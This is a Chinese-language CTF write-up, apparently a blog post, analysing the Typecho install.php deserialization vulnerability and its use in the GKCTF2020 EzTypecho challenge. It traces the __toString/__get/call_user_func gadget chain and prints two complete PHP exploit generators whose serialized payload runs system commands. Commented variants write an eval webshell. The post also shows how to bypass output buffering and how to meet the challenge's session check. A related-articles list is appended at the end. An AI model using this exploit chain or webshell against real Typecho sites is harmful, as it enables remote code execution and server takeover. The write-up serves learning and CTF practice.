0x00 前言

在刷buu 的时候做到一道关于 Typecho 的题 ,[GKCTF2020]EZ三剑客-EzTypecho wp 中说到可以利用Typecho 的 反序列化 poc 来打,感觉直接用现成的poc 打,方便是方便,但是并没有深入了解这个漏洞。还是想深入了解一下这个漏洞,所以本着好奇和学习的态度,遂自己动手分析了一下 Typecho 的反序列化漏洞,加深理解

0x01 环境准备

首先 git clone 到本地,然后phpstorm 打开,

git reset hard 到漏洞修复之前的commit

0x02 审计过程

首先在install.php 开头就做出了两个判断,需要finish 参数以及refer头要是本站的值

核心漏洞处:

第一行直接反序列化Typecho_Cookie::get(’__typecho_config’),没有进行任何过滤
跟进Typecho_Cookie::get() 函数

发现此函数是用来取cookie 中的值的,但是如果对应的值没有,如果post中设置了也会成功取出。

然后取出值之后 new 了一个Typecho_Db 对象

跟进Typecho_Db 构造函数:

发现了直接把 传入进来的 $adapterName 进行了字符串拼接操作,那么如果$adapterName 是一个对象的话,就会触发__toString()魔术方法

所以开始全局搜索fucntiong _toString() :
找到三个

看了看Config.php 中的和 Query.php 中的都不怎么好利用,
query.php:

config.php

config.php里面感觉可以利用__sleep() 函数,但是全局搜索_sleep() ,没找到__sleep()

Feed.php中的这个

还有这个:

发现使用了 $item[‘author’] ->screenName , 而这个 $item 是 $this->_items 里面循环出来的,是可以控制的,那我们就可以设法使用__get() 魔术方法,将$item[‘author’] 赋值为一个对象,那么对象中的screenName 不可访问的时候(私有或者不存在) 就会调用__get() 魔术方法
所以接下来全局搜索 function __get(
共找到7个 :

看了看其他六个好像并不能直接利用,然后Request.php 里面这个:

跟进$this->get

函数最后调用了一个_applyFilter() 函数,跟进

发现敏感函数 call_user_func ,而且里面的两个参数 $filter 来自 $this->_filter 循环出来的 ,$value 则是由上面get() 函数中传参进来的,也是可控的。那么我们就可以构造$\filter 为 system , $value 为 whoami ,就可以命令执行了

Poc :

<?php
class Typecho_Request
{private $_filter = array('system');private $_params = array('screenName'=>'whoami');//也可以直接写webshell//windows://private $_params = array('screenName'=>'echo "<?php eval($_REQUEST[1]);"> ke.php');// linux://private $_params = array('screenName'=>'echo "<?php eval(\$_REQUEST[1]);"> ke.php');
}
class Typecho_Feed
{const RSS1 = 'RSS 1.0';const RSS2 = 'RSS 2.0';const ATOM1 = 'ATOM 1.0';const EOL = "\n";const DATE_RFC822 = 'r';private $_baseUrl ='1';private $_feedUrl ='1';private $_lang = '1';private $_subTitile = '1';private $_type = 'RSS 2.0';private $_items ;public function __construct(){// private 属性 赋值new 对象的时候不能直接赋值,要使用__construct() 函数来赋值$this->_items = array(array('author' => new Typecho_Request(),'title'=>'1','link'=>'1','data'=>'1332427715',)); }}
$config['adapter'] = new Typecho_Feed();
$config['prefix'] = '1';echo base64_encode(serialize($config));
0x03 ob_end_clean() 引起的问题

但是直接用这个poc 打 发现并没有返回结果:

查阅资料 :
https://www.anquanke.com/post/id/155306#h2-2中说到是因为开启了ob_start()

install. php 中的ob_start()


在Common.php中,存在一个异常捕获函数,会清空缓冲区

在源代码中其实就是对应:

把他注释掉,成功返回命令结果

但是实际情况中不能直接去注释源代码,所以根据 https://www.anquanke.com/post/id/155306#h2-2 里说的,我们想办法让程序直接报错,退出不进行异常捕获,比如下面这里

假如把$itemp[‘content’] 设置成 数组(一开始试着把$item[‘excerpt’]设置为数组,但是由于前面有一个strip_tags(),而strip_tags 处理一个数组不会报错,只会返回worring ),那么对数组进行字符串拼接操作就会报错 退出,程序就不会运行到异常捕捉那里,自然也不会进行ob_end_clean() 了,所以修改之后的payload为:

<?php
class Typecho_Request
{private $_filter = array('system');private $_params = array('screenName'=>'whoami');//也可以直接写webshell//windows://private $_params = array('screenName'=>'echo "<?php eval($_REQUEST[1]);"> ke.php');// linux://private $_params = array('screenName'=>'echo "<?php eval(\$_REQUEST[1]);"> ke.php');
}
class Typecho_Feed
{const RSS1 = 'RSS 1.0';const RSS2 = 'RSS 2.0';const ATOM1 = 'ATOM 1.0';const EOL = "\n";const DATE_RFC822 = 'r';private $_baseUrl ='1';private $_feedUrl ='1';private $_lang = '1';private $_subTitile = '1';private $_type = 'RSS 2.0';private $_items ;public function __construct(){// private 属性 赋值new 对象的时候不能直接赋值,要使用__construct() 函数来赋值$this->_items = array(array('author' => new Typecho_Request(),'title'=>'1','link'=>'1','data'=>'1332427715',// 添加 content 'content' => array(1,2),)); }}
$config['adapter'] = new Typecho_Feed();
$config['prefix'] = '1';echo base64_encode(serialize($config));

成功命令执行:

0x04 总结:

1.在找反序列化利用链的时候,本次使用了__toString() ,__get() 魔术方法,关于找__get() 触发的地方,可以在相应的函数中搜索 ‘->’ 然后如果两边都是可控的话,就可以把左边设置为对象,后边设置为一个不存在的属性。

2.另外 assert() 在php 7 中变成了一个语言结构,在call_user_function 中就不能设置 assert 了,所以可以考虑设置 system 来执行系统命令

3.遇到异常捕捉中有ob_end_clean() 导致不能回显的话,可以设法让php 报错,不能执行到异常捕捉的地方,来实现绕过。

0x05 [GKCTF2020] EZ三剑客 EzTypecho

回到这道题目中来,题目加了一个session 判断,要求需要有session

我们知道在 php 中 如果上传文件的同时 带一个带上php_session_upload_progress (session.upload_progress.name 值)字段,并且cookie带上PHPSESSID (session.name 值) ,那么服务端会自动为我们创建一个名为sess_加上我们cookie中带上的PHPSESSID值 的 文件。
其实只要session.use_strict_mode 是关闭的(默认值是 0 ) ,然后在cookie 中 带上PHPSESSID(session.name 的值) 就可以实现让服务端产生session 文件。

结合我们利用上面的poc ,发送如下数据包,成功命令执行

也可以直接用上面脚本生成webshell

然后蚁剑连接,成功得到flag:

Typecho反序列化漏洞分析相关推荐

  1. Fastjson 1.2.68版本反序列化漏洞分析篇

    点击上方蓝色"程序猿DD",选择"设为星标" 回复"资源"获取独家整理的学习资料! 作者 | ale_wong@云影实验室 来源 | htt ...

  2. tomcat源码分析_CVE-2020-9484 tomcat session反序列化漏洞分析

    作者:N1gh5合天智汇 title: CVE-2020-9484 tomcat session反序列化漏洞分析 tags: CVE,Tomcat,反序列化 grammar_cjkRuby: true ...

  3. Fastjson 1.2.22-24 反序列化漏洞分析

    目录 0x00 废话 0x01 简单介绍 FastJson的简单使用 0x02 原理分析 分析POC 调试分析 0x03 复现过程 0x04 参考文章 0x00 废话 balabala 开始 0x01 ...

  4. commons-collections反序列化漏洞分析——远程代码执行

    commons-collections反序列化漏洞分析--远程代码执行 命令执行以及通过反射进行命令执行 这里先说说java里面的命令执行.其实java的命令执行和PHP类似,PHP一般通过eval和 ...

  5. MySQLJDBC反序列化漏洞分析

    JDBC反序列化漏洞 Java数据库连接,(Java Database Connectivity,简称JDBC)是Java语言中用来规范客户端程序如何来访问数据库的应用程序接口,提供了诸如查询和更新数 ...

  6. XStream反序列化漏洞分析

    XStream反序列化漏洞分析 XStream反序列化漏洞分析 代理模式 EventHandler XStream 生成payload XStream流程分析 写在最后 XStream反序列化漏洞分析 ...

  7. thinkphp5.0.24反序列化漏洞分析

    thinkphp5.0.24反序列化漏洞分析 文章目录 thinkphp5.0.24反序列化漏洞分析 具体分析 反序列化起点 toArray getRelationData分析 $modelRelat ...

  8. typecho反序列化漏洞复现

    typecho框架存在反序列化漏洞,利用此漏洞可执行任意代码 环境搭建 第一步 第二步 第三步 第三步 第四步 第五步 第六步 第七步 第八步 第九步 漏洞分析 typecho\build\insta ...

  9. typecho反序列化漏洞(详细过程)

    typecho反序列化 菜鸡的第一条链子,酌情参考 搭建环境 利用phpstudy+phpstrom搭建环境调试(注意php版本大于5.4) 开始 漏洞起始点 前提:get方法传?finish=1,r ...

最新文章

  1. 清华学长免费分享Java基础核心知识点基础篇(2)
  2. 【PAT (Advanced Level) Practice】1093 Count PAT‘s (25 分)
  3. python的一些基本概念知识和面试题
  4. IDEA的查询引用、调用关系图的功能
  5. JQuery-学习笔记01【基础——JQuery基础】
  6. DataWorks功能实践速览
  7. OPenCV学习笔记八-图像的滤波
  8. Web2.0时代,RSS你会用了吗?(技术实现总结)(转载)
  9. 安卓4.4玩java_Android4.4运行过程中闪退java.lang.NoClassDefFoundError
  10. 今天的弹指一瞬间的飞鸽传书
  11. ospf避免环路_13、OSPF的选路规则及路由控制
  12. 2019最新盘点:适合中小型企业的财务系统软件
  13. 使用YASM编程 - 06
  14. 计算机初操作员培训大纲,计算机初级培训大纲.doc
  15. 数仓治理:数据地图长什么样?
  16. HTML5编写的小游戏
  17. 情人节翻译软件测试,TechPowerUp
  18. Java中判断两个日期是否在同一个月
  19. 关于导数非常的好文章
  20. 悼念一位腾讯游戏大佬。。

热门文章

  1. web项目开发人员配比_Web设计人员和开发人员使用的前25个资源
  2. 除了Axure,还有哪些原型设计工具
  3. python爬取股票平均成本怎么算_Python-多个股票的投资组合分析,对,进行
  4. 什么是BCD码以及区分二进制与BCD码
  5. 新编大学英语5翻译整理
  6. 360强行卸载金山网盾案败诉 被判赔款30万元
  7. 计算机硬盘更换图解,轻松更换电脑硬盘无需重装系统的方法
  8. openEuler ceph mgr dashboard 无法登陆 报错 401 Unauthorized You are not authorized to access that resource
  9. Mac电脑管理Android手机(传输文件)
  10. JavaWeb实战项目之乐购商城V1.0(一)-------环境搭建